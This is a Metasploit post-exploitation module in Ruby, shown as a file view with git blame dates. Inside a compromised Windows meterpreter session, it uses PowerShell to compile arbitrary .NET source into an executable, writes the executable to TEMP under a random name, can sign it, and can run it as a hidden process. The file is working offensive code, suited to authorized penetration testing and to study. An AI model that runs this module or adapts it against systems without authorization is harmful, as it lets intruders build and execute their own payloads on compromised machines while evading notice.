Files
metasploit-gs/modules/post/windows/manage/powershell/build_net_code.rb
T

122 lines
4.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/windows/powershell'
require 'msf/core/exploit/powershell/dot_net'
2016-03-31 14:49:34 -05:00
class MetasploitModule < Msf::Post
Rank = ExcellentRanking
include Msf::Post::Windows::Powershell
include Msf::Exploit::Powershell::DotNet
2016-10-08 20:17:29 -05:00
def initialize(info = {})
super(
update_info(
info,
'Name' => "Powershell .NET Compiler",
'Description' => %q(
This module will build a .NET source file using powershell. The compiler builds
the executable or library in memory and produces a binary. After compilation the
PowerShell session can also sign the executable if provided a path the
a .pfx formatted certificate. Compiler options and a list of assemblies
required can be configured in the datastore.
),
'License' => MSF_LICENSE,
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'DisclosureDate' => 'Aug 14 2012'
)
)
register_options(
[
OptPath.new('SOURCE_FILE', [true, 'Path to source code']),
2016-10-08 20:17:29 -05:00
OptBool.new('RUN_BINARY', [false, 'Execute the generated binary', false]),
2016-10-08 21:14:26 -05:00
OptString.new('ASSEMBLIES', [false, 'Any assemblies outside the defaults', "mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll" ]),
2016-06-12 18:20:50 -04:00
OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated binary, default random, omit extension' ]),
OptString.new('COMPILER_OPTS', [false, 'Options to pass to compiler', '/optimize']),
2016-10-08 20:17:29 -05:00
OptString.new('CODE_PROVIDER', [true, 'Code provider to use', 'Microsoft.CSharp.CSharpCodeProvider'])
2016-10-08 21:14:26 -05:00
], self.class
)
register_advanced_options(
[
2016-10-08 20:17:29 -05:00
OptString.new('NET_CLR_VER', [false, 'Minimum NET CLR version required to compile', '4.0'])
2016-10-08 21:14:26 -05:00
], self.class
)
end
2016-06-12 18:20:50 -04:00
def run
# Make sure we meet the requirements before running the script
2016-10-08 21:14:26 -05:00
unless session.type == "meterpreter" || have_powershell?
2016-10-08 20:17:29 -05:00
print_error "Incompatible Environment"
return 0
end
# Havent figured this one out yet, but we need a PID owned by a user, can't steal tokens either
2017-09-27 07:41:06 +02:00
if client.sys.config.is_system?
2016-10-08 20:17:29 -05:00
print_error "Cannot run as system"
return 0
end
# End of file marker
eof = Rex::Text.rand_text_alpha(8)
env_suffix = Rex::Text.rand_text_alpha(8)
net_com_opts = {}
2016-10-08 21:14:26 -05:00
net_com_opts[:target] =
datastore['OUTPUT_TARGET'] ||
"#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(rand(8) + 8)}.exe"
net_com_opts[:com_opts] = datastore['COMPILER_OPTS']
net_com_opts[:provider] = datastore['CODE_PROVIDER']
net_com_opts[:assemblies] = datastore['ASSEMBLIES']
net_com_opts[:net_clr] = datastore['NET_CLR_VER']
net_com_opts[:cert] = datastore['CERT_PATH']
begin
2016-06-12 18:20:50 -04:00
net_com_opts[:harness] = ::File.read(datastore['SOURCE_FILE'])
script = dot_net_compiler(net_com_opts)
if datastore['Powershell::Post::dry_run']
2016-10-08 20:17:29 -05:00
print_good "Compiler code:\n#{script}"
2016-06-12 18:20:50 -04:00
return
end
rescue => e
2016-10-08 20:17:29 -05:00
print_error e
return
end
2016-10-08 20:17:29 -05:00
vprint_good "Writing to #{net_com_opts[:target]}"
# Execute the powershell script
2016-10-08 20:17:29 -05:00
print_status 'Building remote code.'
cmd_out, running_pids, open_channels = execute_script(script, true)
get_ps_output(cmd_out, eof)
2016-10-08 20:17:29 -05:00
vprint_good "Cleaning up #{running_pids.join(', ')}"
clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
# Check for result
begin
2016-10-08 20:17:29 -05:00
size = session.fs.file.stat(net_com_opts[:target].gsub('\\', '\\\\')).size
print_good "File #{net_com_opts[:target].gsub('\\', '\\\\')} found, #{size}kb"
rescue
2016-10-08 20:17:29 -05:00
print_error "File #{net_com_opts[:target].gsub('\\', '\\\\')} not found," \
" NET CLR version #{datastore['NET_CLR_VER']} possibly not available"
return
end
# Run the result
if datastore['RUN_BINARY']
2016-10-08 21:14:26 -05:00
cmd_out = session.sys.process.execute(net_com_opts[:target].gsub('\\', '\\\\'),
nil, 'Hidden' => true, 'Channelized' => true)
while (out = cmd_out.channel.read)
print_good out
end
end
2016-10-08 20:17:29 -05:00
print_good 'Finished!'
end
end